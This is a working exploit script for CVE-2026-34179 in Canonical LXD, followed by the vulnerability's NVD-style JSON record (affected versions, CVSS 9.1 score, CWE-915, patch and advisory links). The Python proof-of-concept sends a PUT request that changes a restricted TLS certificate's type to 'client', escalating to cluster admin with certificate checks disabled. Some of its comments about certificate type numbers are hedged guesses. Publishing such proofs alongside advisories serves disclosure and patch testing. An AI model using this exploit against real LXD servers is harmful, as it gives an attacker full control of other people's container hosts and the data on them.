CVE-2026-34179

import requests # Target LXD server URL TARGET_URL = "https://<LXD_IP>:8443" # Fingerprint of the attacker's restricted certificate CERT_FINGERPRINT = "<attacker_cert_fingerprint>" # Path to the attacker's client certificate and key CLIENT_CERT = "/path/to/client.crt" CLIENT_KEY = "/path/to/client.key" # The malicious payload to escalate privileges by changing the certificate type # In LXD, Type 0 is usually 'client' (full trust), Type 3 might be restricted depending on config. # The goal is to remove the restriction. payload = { "type": "client" # Escalating from restricted to full client/admin rights } endpoint = f"{TARGET_URL}/1.0/certificates/{CERT_FINGERPRINT}" # Sending the PUT request to update the certificate response = requests.put( endpoint, json=payload, cert=(CLIENT_CERT, CLIENT_KEY), verify=False # Ignore SSL verification for PoC purposes ) if response.status_code == 200: print("[+] Privilege escalation successful! Certificate type updated.") else: print(f"[-] Failed to escalate privileges. Status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-34179", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:21.963", "lastModified": "2026-04-22T20:51:25.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndIncluding": "5.0.6", "matchCriteriaId": "41A5CC7C-00BE-436D-957A-4636E52D0DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.21.0", "versionEndIncluding": "5.21.4", "matchCriteriaId": "92A82DF4-3ED9-47E0-BDF1-DB9138EE0883"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.7", "matchCriteriaId": "5C28FC63-0BE4-4B40-A87F-DF242AE33303"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/17936", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit"]}]}}